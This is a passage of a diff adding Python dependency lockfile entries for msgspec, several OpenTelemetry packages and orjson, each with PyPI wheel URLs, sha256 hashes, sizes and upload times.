+    { url = "https://files.pythonhosted.org/packages/74/66/2bb344f34abb4b57e60c7c9c761994e0417b9718ec1460bf00c296f2a7ea/msgspec-0.21.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a9aa659ebb0101b1cbc31461212b87e341d961f0ab0772aaf068a99e001ec4aa", size = 225050, upload-time = "2026-04-12T21:44:21.577Z" },
+    { url = "https://files.pythonhosted.org/packages/1a/84/7c1e412f76092277bf760cef12b7979d03314d259ab5b5cafde5d0c1722d/msgspec-0.21.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f7b27d1a8ead2b6f5b0c4f2d07b8be1ccfcc041c8a0e704781edebe3ae13c484", size = 222713, upload-time = "2026-04-12T21:44:22.83Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/27/0bba04b2b4ef05f3d068429410bc71d2cea925f1596a8f41152cccd5edb8/msgspec-0.21.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:38fe93e86b61328fe544cb7fd871fad5a27c8734bfda90f65e5dbe288ae50f61", size = 227259, upload-time = "2026-04-12T21:44:24.11Z" },
+    { url = "https://files.pythonhosted.org/packages/b0/2d/09574b0eea02fed2c2c1383dbaae2c7f79dc16dcd6487a886000afb5d7c4/msgspec-0.21.1-cp313-cp313-win_amd64.whl", hash = "sha256:8bc666331c35fcce05a7cd2d6221adbe0f6058f8e750711413d22793c080ac6a", size = 189857, upload-time = "2026-04-12T21:44:25.359Z" },
+    { url = "https://files.pythonhosted.org/packages/46/34/105b1576ad182879914f0c821f17ee1d13abb165cb060448f96fe2aff078/msgspec-0.21.1-cp313-cp313-win_arm64.whl", hash = "sha256:42bb1241e0750c1a4346f2aa84db26c5ffd99a4eb3a954927d9f149ff2f42898", size = 175403, upload-time = "2026-04-12T21:44:26.608Z" },
+    { url = "https://files.pythonhosted.org/packages/5a/ad/86954e987d1d6a5c579e2c2e7832b65e0fff194179fdac4f581536086024/msgspec-0.21.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fab48eb45fdbfbdb2c0edfec00ffc53b6b6085beefc6b50b61e01659f9f8757f", size = 196261, upload-time = "2026-04-12T21:44:27.807Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/a1/c5e46c3e42b866199365e35d11dddfd1fbd8bba4fdb3c52f965b1607ce94/msgspec-0.21.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:3cb779ea0c35bc807ff941d415875c1f69ca0be91a2e907ab99a171811d86a9a", size = 188729, upload-time = "2026-04-12T21:44:28.99Z" },
+    { url = "https://files.pythonhosted.org/packages/85/7d/1e29a319d678d6cb962ae5bdf32a6858ebdf38f73bc654c0e9c742a0c2c8/msgspec-0.21.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:68604db36b3b4dd9bf160e436e12798a4738848144cea1aca1cb984011eb160f", size = 219866, upload-time = "2026-04-12T21:44:31.104Z" },
+    { url = "https://files.pythonhosted.org/packages/25/1f/cca084ca2572810fff12ea9dbdcbe39eac048f40daf4a9077b49fcbe8cee/msgspec-0.21.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3d6b9dc50948eaf65df54d2fd0ff66e6d8c32f116037209ee861810eb9b676cb", size = 224993, upload-time = "2026-04-12T21:44:32.649Z" },
+    { url = "https://files.pythonhosted.org/packages/71/94/d2120fc9d419a89a3a7c13e5b7078798c4b392a96a02a6e2b3ce43a8766c/msgspec-0.21.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:52c5e21930942302394429c5a582ce7e6b62c7f983b3760834c2ce107e0dd6df", size = 223535, upload-time = "2026-04-12T21:44:33.839Z" },
+    { url = "https://files.pythonhosted.org/packages/75/17/42418b66a3ad972a89bab73dd78b79cc6282bb488a25e73c853cee7443b9/msgspec-0.21.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:abbb39d65681fa24ed394e01af3d59d869068324f900c61d06062b7fb9980f2f", size = 227222, upload-time = "2026-04-12T21:44:35.093Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/33/265c894268cca88ff67b144ca2b4c522fc8b9a6f1966a3640c70516e78e1/msgspec-0.21.1-cp314-cp314-win_amd64.whl", hash = "sha256:5666b1b560b97b6ec2eb3fca8a502298ebac56e13bbca1f88523538ce83d01ea", size = 193810, upload-time = "2026-04-12T21:44:36.612Z" },
+    { url = "https://files.pythonhosted.org/packages/3b/8f/a6d35f25bf1fc63c492fdd88fdce01ba0875ead48c2b91f90f33653b4131/msgspec-0.21.1-cp314-cp314-win_arm64.whl", hash = "sha256:d8b8578e4c83b14ceea4cef0d0b747e31d9330fe4b03b2b2ad4063866a178f93", size = 179125, upload-time = "2026-04-12T21:44:38.198Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/39/74839641e64b99d87da55af0fc472854d42b46e2183b9e2a67fe1bb2a512/msgspec-0.21.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:15f523d51c00ebad412213bfe9f06f0a50ec2b93e0c19e824a2d267cabb48ea2", size = 200171, upload-time = "2026-04-12T21:44:39.414Z" },
+    { url = "https://files.pythonhosted.org/packages/70/9b/ce0cca6d2d87fcd4b6ff97600790494e64f26a2c55d61507cd2755c16193/msgspec-0.21.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:4e47390360583ba3d5c6cb44cf0a9f61b0a06a899d3c2c00627cedebb2e2884b", size = 192879, upload-time = "2026-04-12T21:44:40.882Z" },
+    { url = "https://files.pythonhosted.org/packages/a7/08/673a7bb05e5702dc787ddd3011195b509f9867927970da59052211929987/msgspec-0.21.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f60800e6299b798142dc40b0644da77ceac5ea0568be58228417eae14135c847", size = 226281, upload-time = "2026-04-12T21:44:42.181Z" },
+    { url = "https://files.pythonhosted.org/packages/7d/45/86508cf57283e9070b3c447e3ab25b792a7a0855a3ea4e0c6d111ac34c97/msgspec-0.21.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5f8e9dfcd98419cf7568808470c4317a3fb30bef0e3715b568730a2b272a20d7", size = 229863, upload-time = "2026-04-12T21:44:43.442Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/62/e7c9367cd08d590559faacd711edbae36840342843e669440363f33c7d36/msgspec-0.21.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:92d89dfad13bd1ea640dc3e37e724ed380da1030b272bdf5ecafb983c3ad7c75", size = 230445, upload-time = "2026-04-12T21:44:44.806Z" },
+    { url = "https://files.pythonhosted.org/packages/42/b4/c0f54632103846b658a10930025f4de41c8724b5e4805a5f3b395586cb7e/msgspec-0.21.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0d03867786e5d7ba25d666df4b11320c27170f4aeafcb8e3a8b0a50a4fb742ca", size = 231822, upload-time = "2026-04-12T21:44:46.343Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/1d/0d85cc79d0ccf5508e9c846cc66552a6a16bf92abd1dbd8362617f7b35cd/msgspec-0.21.1-cp314-cp314t-win_amd64.whl", hash = "sha256:740fbf1c9d59992ca3537d6fbe9ebbf9eaf726a65fbf31448e0ecbc710697a63", size = 206650, upload-time = "2026-04-12T21:44:47.601Z" },
+    { url = "https://files.pythonhosted.org/packages/90/91/56c5d560f20e6c20e9e4f55bd0e458f7f162aa689ee350346c04c48eac0b/msgspec-0.21.1-cp314-cp314t-win_arm64.whl", hash = "sha256:0d2cc73df6058d811a126ac3a8ad63a4dfa210c82f9cf5a004802eaf4712de90", size = 183149, upload-time = "2026-04-12T21:44:48.833Z" },
+]
+
+[[package]]
+name = "opentelemetry-api"
+version = "1.41.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "importlib-metadata", marker = "python_full_version >= '3.11'" },
+    { name = "typing-extensions", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/47/8e/3778a7e87801d994869a9396b9fc2a289e5f9be91ff54a27d41eace494b0/opentelemetry_api-1.41.0.tar.gz", hash = "sha256:9421d911326ec12dee8bc933f7839090cad7a3f13fcfb0f9e82f8174dc003c09", size = 71416, upload-time = "2026-04-09T14:38:34.544Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/58/ee/99ab786653b3bda9c37ade7e24a7b607a1b1f696063172768417539d876d/opentelemetry_api-1.41.0-py3-none-any.whl", hash = "sha256:0e77c806e6a89c9e4f8d372034622f3e1418a11bdbe1c80a50b3d3397ad0fa4f", size = 69007, upload-time = "2026-04-09T14:38:11.833Z" },
+]
+
+[[package]]
+name = "opentelemetry-exporter-otlp-proto-common"
+version = "1.41.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "opentelemetry-proto", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/8c/28/e8eca94966fe9a1465f6094dc5ddc5398473682180279c94020bc23b4906/opentelemetry_exporter_otlp_proto_common-1.41.0.tar.gz", hash = "sha256:966bbce537e9edb166154779a7c4f8ab6b8654a03a28024aeaf1a3eacb07d6ee", size = 20411, upload-time = "2026-04-09T14:38:36.572Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/26/c4/78b9bf2d9c1d5e494f44932988d9d91c51a66b9a7b48adf99b62f7c65318/opentelemetry_exporter_otlp_proto_common-1.41.0-py3-none-any.whl", hash = "sha256:7a99177bf61f85f4f9ed2072f54d676364719c066f6d11f515acc6c745c7acf0", size = 18366, upload-time = "2026-04-09T14:38:15.135Z" },
+]
+
+[[package]]
+name = "opentelemetry-exporter-otlp-proto-http"
+version = "1.41.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "googleapis-common-protos", marker = "python_full_version >= '3.11'" },
+    { name = "opentelemetry-api", marker = "python_full_version >= '3.11'" },
+    { name = "opentelemetry-exporter-otlp-proto-common", marker = "python_full_version >= '3.11'" },
+    { name = "opentelemetry-proto", marker = "python_full_version >= '3.11'" },
+    { name = "opentelemetry-sdk", marker = "python_full_version >= '3.11'" },
+    { name = "requests", marker = "python_full_version >= '3.11'" },
+    { name = "typing-extensions", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/19/63/d9f43cd75f3fabb7e01148c89cfa9491fc18f6580a6764c554ff7c953c46/opentelemetry_exporter_otlp_proto_http-1.41.0.tar.gz", hash = "sha256:dcd6e0686f56277db4eecbadd5262124e8f2cc739cadbc3fae3d08a12c976cf5", size = 24139, upload-time = "2026-04-09T14:38:38.128Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/64/b5/a214cd907eedc17699d1c2d602288ae17cb775526df04db3a3b3585329d2/opentelemetry_exporter_otlp_proto_http-1.41.0-py3-none-any.whl", hash = "sha256:a9c4ee69cce9c3f4d7ee736ad1b44e3c9654002c0816900abbafd9f3cf289751", size = 22673, upload-time = "2026-04-09T14:38:18.349Z" },
+]
+
+[[package]]
+name = "opentelemetry-proto"
+version = "1.41.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "protobuf", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/e0/d9/08e3dc6156878713e8c811682bc76151f5fe1a3cb7f3abda3966fd56e71e/opentelemetry_proto-1.41.0.tar.gz", hash = "sha256:95d2e576f9fb1800473a3e4cfcca054295d06bdb869fda4dc9f4f779dc68f7b6", size = 45669, upload-time = "2026-04-09T14:38:45.978Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/49/8c/65ef7a9383a363864772022e822b5d5c6988e6f9dabeebb9278f5b86ebc3/opentelemetry_proto-1.41.0-py3-none-any.whl", hash = "sha256:b970ab537309f9eed296be482c3e7cca05d8aca8165346e929f658dbe153b247", size = 72074, upload-time = "2026-04-09T14:38:29.38Z" },
+]
+
+[[package]]
+name = "opentelemetry-sdk"
+version = "1.41.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "opentelemetry-api", marker = "python_full_version >= '3.11'" },
+    { name = "opentelemetry-semantic-conventions", marker = "python_full_version >= '3.11'" },
+    { name = "typing-extensions", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/f8/0e/a586df1186f9f56b5a0879d52653effc40357b8e88fc50fe300038c3c08b/opentelemetry_sdk-1.41.0.tar.gz", hash = "sha256:7bddf3961131b318fc2d158947971a8e37e38b1cd23470cfb72b624e7cc108bd", size = 230181, upload-time = "2026-04-09T14:38:47.225Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/2c/13/a7825118208cb32e6a4edcd0a99f925cbef81e77b3b0aedfd9125583c543/opentelemetry_sdk-1.41.0-py3-none-any.whl", hash = "sha256:a596f5687964a3e0d7f8edfdcf5b79cbca9c93c7025ebf5fb00f398a9443b0bd", size = 180214, upload-time = "2026-04-09T14:38:30.657Z" },
+]
+
+[[package]]
+name = "opentelemetry-semantic-conventions"
+version = "0.62b0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "opentelemetry-api", marker = "python_full_version >= '3.11'" },
+    { name = "typing-extensions", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/a3/b0/c14f723e86c049b7bf8ff431160d982519b97a7be2857ed2247377397a24/opentelemetry_semantic_conventions-0.62b0.tar.gz", hash = "sha256:cbfb3c8fc259575cf68a6e1b94083cc35adc4a6b06e8cf431efa0d62606c0097", size = 145753, upload-time = "2026-04-09T14:38:48.274Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/58/6c/5e86fa1759a525ef91c2d8b79d668574760ff3f900d114297765eb8786cb/opentelemetry_semantic_conventions-0.62b0-py3-none-any.whl", hash = "sha256:0ddac1ce59eaf1a827d9987ab60d9315fb27aea23304144242d1fcad9e16b489", size = 231619, upload-time = "2026-04-09T14:38:32.394Z" },
+]
+
+[[package]]
+name = "orjson"
+version = "3.11.8"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/9d/1b/2024d06792d0779f9dbc51531b61c24f76c75b9f4ce05e6f3377a1814cea/orjson-3.11.8.tar.gz", hash = "sha256:96163d9cdc5a202703e9ad1b9ae757d5f0ca62f4fa0cc93d1f27b0e180cc404e", size = 5603832, upload-time = "2026-03-31T16:16:27.878Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/2f/90/5d81f61fe3e4270da80c71442864c091cee3003cc8984c75f413fe742a07/orjson-3.11.8-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:e6693ff90018600c72fd18d3d22fa438be26076cd3c823da5f63f7bab28c11cb", size = 229663, upload-time = "2026-03-31T16:14:30.708Z" },
+    { url = "https://files.pythonhosted.org/packages/6c/ef/85e06b0eb11de6fb424120fd5788a07035bd4c5e6bb7841ae9972a0526d1/orjson-3.11.8-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93de06bc920854552493c81f1f729fab7213b7db4b8195355db5fda02c7d1363", size = 132321, upload-time = "2026-03-31T16:14:32.317Z" },
+    { url = "https://files.pythonhosted.org/packages/86/71/089338ee51b3132f050db0864a7df9bdd5e94c2a03820ab8a91e8f655618/orjson-3.11.8-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:fe0b8c83e0f36247fc9431ce5425a5d95f9b3a689133d494831bdbd6f0bceb13", size = 130658, upload-time = "2026-03-31T16:14:33.935Z" },
+    { url = "https://files.pythonhosted.org/packages/10/0d/f39d8802345d0ad65f7fd4374b29b9b59f98656dc30f21ca5c773265b2f0/orjson-3.11.8-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:97d823831105c01f6c8029faf297633dbeb30271892bd430e9c24ceae3734744", size = 135708, upload-time = "2026-03-31T16:14:35.224Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/b5/40aae576b3473511696dcffea84fde638b2b64774eb4dcb8b2c262729f8a/orjson-3.11.8-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c60c0423f15abb6cf78f56dff00168a1b582f7a1c23f114036e2bfc697814d5f", size = 147047, upload-time = "2026-03-31T16:14:36.489Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/f0/778a84458d1fdaa634b2e572e51ce0b354232f580b2327e1f00a8d88c38c/orjson-3.11.8-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:01928d0476b216ad2201823b0a74000440360cef4fed1912d297b8d84718f277", size = 133072, upload-time = "2026-03-31T16:14:37.715Z" },
+    { url = "https://files.pythonhosted.org/packages/bf/d3/1bbf2fc3ffcc4b829ade554b574af68cec898c9b5ad6420a923c75a073d3/orjson-3.11.8-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6a4a639049c44d36a6d1ae0f4a94b271605c745aee5647fa8ffaabcdc01b69a6", size = 133867, upload-time = "2026-03-31T16:14:39.356Z" },
+    { url = "https://files.pythonhosted.org/packages/08/94/6413da22edc99a69a8d0c2e83bf42973b8aa94d83ef52a6d39ac85da00bc/orjson-3.11.8-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3222adff1e1ff0dce93c16146b93063a7793de6c43d52309ae321234cdaf0f4d", size = 142268, upload-time = "2026-03-31T16:14:40.972Z" },
+    { url = "https://files.pythonhosted.org/packages/4a/5f/aa5dbaa6136d7ba55f5461ac2e885efc6e6349424a428927fd46d68f4396/orjson-3.11.8-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:3223665349bbfb68da234acd9846955b1a0808cbe5520ff634bf253a4407009b", size = 424008, upload-time = "2026-03-31T16:14:42.637Z" },
+    { url = "https://files.pythonhosted.org/packages/fa/aa/2c1962d108c7fe5e27aa03a354b378caf56d8eafdef15fd83dec081ce45a/orjson-3.11.8-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:61c9d357a59465736022d5d9ba06687afb7611dfb581a9d2129b77a6fcf78e59", size = 147942, upload-time = "2026-03-31T16:14:44.256Z" },
+    { url = "https://files.pythonhosted.org/packages/47/d1/65f404f4c47eb1b0b4476f03ec838cac0c4aa933920ff81e5dda4dee14e7/orjson-3.11.8-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:58fb9b17b4472c7b1dcf1a54583629e62e23779b2331052f09a9249edf81675b", size = 136640, upload-time = "2026-03-31T16:14:45.884Z" },
+    { url = "https://files.pythonhosted.org/packages/90/5f/7b784aea98bdb125a2f2da7c27d6c2d2f6d943d96ef0278bae596d563f85/orjson-3.11.8-cp310-cp310-win32.whl", hash = "sha256:b43dc2a391981d36c42fa57747a49dae793ef1d2e43898b197925b5534abd10a", size = 132066, upload-time = "2026-03-31T16:14:47.397Z" },
+    { url = "https://files.pythonhosted.org/packages/92/ec/2e284af8d6c9478df5ef938917743f61d68f4c70d17f1b6e82f7e3b8dba1/orjson-3.11.8-cp310-cp310-win_amd64.whl", hash = "sha256:c98121237fea2f679480765abd566f7713185897f35c9e6c2add7e3a9900eb61", size = 127609, upload-time = "2026-03-31T16:14:48.78Z" },
+    { url = "https://files.pythonhosted.org/packages/67/41/5aa7fa3b0f4dc6b47dcafc3cea909299c37e40e9972feabc8b6a74e2730d/orjson-3.11.8-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:003646067cc48b7fcab2ae0c562491c9b5d2cbd43f1e5f16d98fd118c5522d34", size = 229229, upload-time = "2026-03-31T16:14:50.424Z" },
+    { url = "https://files.pythonhosted.org/packages/0a/d7/57e7f2458e0a2c41694f39fc830030a13053a84f837a5b73423dca1f0938/orjson-3.11.8-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:ed193ce51d77a3830cad399a529cd4ef029968761f43ddc549e1bc62b40d88f8", size = 128871, upload-time = "2026-03-31T16:14:51.888Z" },
+    { url = "https://files.pythonhosted.org/packages/53/4a/e0fdb9430983e6c46e0299559275025075568aad5d21dd606faee3703924/orjson-3.11.8-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f30491bc4f862aa15744b9738517454f1e46e56c972a2be87d70d727d5b2a8f8", size = 132104, upload-time = "2026-03-31T16:14:53.142Z" },
+    { url = "https://files.pythonhosted.org/packages/08/4a/2025a60ff3f5c8522060cda46612d9b1efa653de66ed2908591d8d82f22d/orjson-3.11.8-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6eda5b8b6be91d3f26efb7dc6e5e68ee805bc5617f65a328587b35255f138bf4", size = 130483, upload-time = "2026-03-31T16:14:54.605Z" },
+    { url = "https://files.pythonhosted.org/packages/2d/3c/b9cde05bdc7b2385c66014e0620627da638d3d04e4954416ab48c31196c5/orjson-3.11.8-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ee8db7bfb6fe03581bbab54d7c4124a6dd6a7f4273a38f7267197890f094675f", size = 135481, upload-time = "2026-03-31T16:14:55.901Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/f2/a8238e7734de7cb589fed319857a8025d509c89dc52fdcc88f39c6d03d5a/orjson-3.11.8-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5d8b5231de76c528a46b57010bbd83fb51e056aa0220a372fd5065e978406f1c", size = 146819, upload-time = "2026-03-31T16:14:57.548Z" },
+    { url = "https://files.pythonhosted.org/packages/db/10/dbf1e2a3cafea673b1b4350e371877b759060d6018a998643b7040e5de48/orjson-3.11.8-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:58a4a208a6fbfdb7a7327b8f201c6014f189f721fd55d047cafc4157af1bc62a", size = 132846, upload-time = "2026-03-31T16:14:58.91Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/fc/55e667ec9c85694038fcff00573d221b085d50777368ee3d77f38668bf3c/orjson-3.11.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f8952d6d2505c003e8f0224ff7858d341fa4e33fef82b91c4ff0ef070f2393c", size = 133580, upload-time = "2026-03-31T16:15:00.519Z" },
+    { url = "https://files.pythonhosted.org/packages/7e/a6/c08c589a9aad0cb46c4831d17de212a2b6901f9d976814321ff8e69e8785/orjson-3.11.8-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0022bb50f90da04b009ce32c512dc1885910daa7cb10b7b0cba4505b16db82a8", size = 142042, upload-time = "2026-03-31T16:15:01.906Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/cc/2f78ea241d52b717d2efc38878615fe80425bf2beb6e68c984dde257a766/orjson-3.11.8-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:ff51f9d657d1afb6f410cb435792ce4e1fe427aab23d2fcd727a2876e21d4cb6", size = 423845, upload-time = "2026-03-31T16:15:03.703Z" },
+    { url = "https://files.pythonhosted.org/packages/70/07/c17dcf05dd8045457538428a983bf1f1127928df5bf328cb24d2b7cddacb/orjson-3.11.8-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:6dbe9a97bdb4d8d9d5367b52a7c32549bba70b2739c58ef74a6964a6d05ae054", size = 147729, upload-time = "2026-03-31T16:15:05.203Z" },
+    { url = "https://files.pythonhosted.org/packages/90/6c/0fb6e8a24e682e0958d71711ae6f39110e4b9cd8cab1357e2a89cb8e1951/orjson-3.11.8-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a5c370674ebabe16c6ccac33ff80c62bf8a6e59439f5e9d40c1f5ab8fd2215b7", size = 136425, upload-time = "2026-03-31T16:15:07.052Z" },
+    { url = "https://files.pythonhosted.org/packages/b2/35/4d3cc3a3d616035beb51b24a09bb872942dc452cf2df0c1d11ab35046d9f/orjson-3.11.8-cp311-cp311-win32.whl", hash = "sha256:0e32f7154299f42ae66f13488963269e5eccb8d588a65bc839ed986919fc9fac", size = 131870, upload-time = "2026-03-31T16:15:08.678Z" },
+    { url = "https://files.pythonhosted.org/packages/13/26/9fe70f81d16b702f8c3a775e8731b50ad91d22dacd14c7599b60a0941cd1/orjson-3.11.8-cp311-cp311-win_amd64.whl", hash = "sha256:25e0c672a2e32348d2eb33057b41e754091f2835f87222e4675b796b92264f06", size = 127440, upload-time = "2026-03-31T16:15:09.994Z" },
+    { url = "https://files.pythonhosted.org/packages/e8/c6/b038339f4145efd2859c1ca53097a52c0bb9cbdd24f947ebe146da1ad067/orjson-3.11.8-cp311-cp311-win_arm64.whl", hash = "sha256:9185589c1f2a944c17e26c9925dcdbc2df061cc4a145395c57f0c51f9b5dbfcd", size = 127399, upload-time = "2026-03-31T16:15:11.412Z" },
+    { url = "https://files.pythonhosted.org/packages/01/f6/8d58b32ab32d9215973a1688aebd098252ee8af1766c0e4e36e7831f0295/orjson-3.11.8-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:1cd0b77e77c95758f8e1100139844e99f3ccc87e71e6fc8e1c027e55807c549f", size = 229233, upload-time = "2026-03-31T16:15:12.762Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/8b/2ffe35e71f6b92622e8ea4607bf33ecf7dfb51b3619dcfabfd36cbe2d0a5/orjson-3.11.8-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:6a3d159d5ffa0e3961f353c4b036540996bf8b9697ccc38261c0eac1fd3347a6", size = 128772, upload-time = "2026-03-31T16:15:14.237Z" },
+    { url = "https://files.pythonhosted.org/packages/27/d2/1f8682ae50d5c6897a563cb96bc106da8c9cb5b7b6e81a52e4cc086679b9/orjson-3.11.8-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76070a76e9c5ae661e2d9848f216980d8d533e0f8143e6ed462807b242e3c5e8", size = 131946, upload-time = "2026-03-31T16:15:15.607Z" },
+    { url = "https://files.pythonhosted.org/packages/52/4b/5500f76f0eece84226e0689cb48dcde081104c2fa6e2483d17ca13685ffb/orjson-3.11.8-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:54153d21520a71a4c82a0dbb4523e468941d549d221dc173de0f019678cf3813", size = 130368, upload-time = "2026-03-31T16:15:17.066Z" },
+    { url = "https://files.pythonhosted.org/packages/da/4e/58b927e08fbe9840e6c920d9e299b051ea667463b1f39a56e668669f8508/orjson-3.11.8-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:469ac2125611b7c5741a0b3798cd9e5786cbad6345f9f400c77212be89563bec", size = 135540, upload-time = "2026-03-31T16:15:18.404Z" },
+    { url = "https://files.pythonhosted.org/packages/56/7c/ba7cb871cba1bcd5cd02ee34f98d894c6cea96353ad87466e5aef2429c60/orjson-3.11.8-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:14778ffd0f6896aa613951a7fbf4690229aa7a543cb2bfbe9f358e08aafa9546", size = 146877, upload-time = "2026-03-31T16:15:19.833Z" },
+    { url = "https://files.pythonhosted.org/packages/0b/5d/eb9c25fc1386696c6a342cd361c306452c75e0b55e86ad602dd4827a7fd7/orjson-3.11.8-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea56a955056a6d6c550cf18b3348656a9d9a4f02e2d0c02cabf3c73f1055d506", size = 132837, upload-time = "2026-03-31T16:15:21.282Z" },
+    { url = "https://files.pythonhosted.org/packages/37/87/5ddeb7fc1fbd9004aeccab08426f34c81a5b4c25c7061281862b015fce2b/orjson-3.11.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:53a0f57e59a530d18a142f4d4ba6dfc708dc5fdedce45e98ff06b44930a2a48f", size = 133624, upload-time = "2026-03-31T16:15:22.641Z" },
+    { url = "https://files.pythonhosted.org/packages/22/09/90048793db94ee4b2fcec4ac8e5ddb077367637d6650be896b3494b79bb7/orjson-3.11.8-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:9b48e274f8824567d74e2158199e269597edf00823a1b12b63d48462bbf5123e", size = 141904, upload-time = "2026-03-31T16:15:24.435Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/cf/eb284847487821a5d415e54149a6449ba9bfc5872ce63ab7be41b8ec401c/orjson-3.11.8-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:3f262401086a3960586af06c054609365e98407151f5ea24a62893a40d80dbbb", size = 423742, upload-time = "2026-03-31T16:15:26.155Z" },
+    { url = "https://files.pythonhosted.org/packages/44/09/e12423d327071c851c13e76936f144a96adacfc037394dec35ac3fc8d1e8/orjson-3.11.8-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:8e8c6218b614badf8e229b697865df4301afa74b791b6c9ade01d19a9953a942", size = 147806, upload-time = "2026-03-31T16:15:27.909Z" },
+    { url = "https://files.pythonhosted.org/packages/b3/6d/37c2589ba864e582ffe7611643314785c6afb1f83c701654ef05daa8fcc7/orjson-3.11.8-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:093d489fa039ddade2db541097dbb484999fcc65fc2b0ff9819141e2ab364f25", size = 136485, upload-time = "2026-03-31T16:15:29.749Z" },
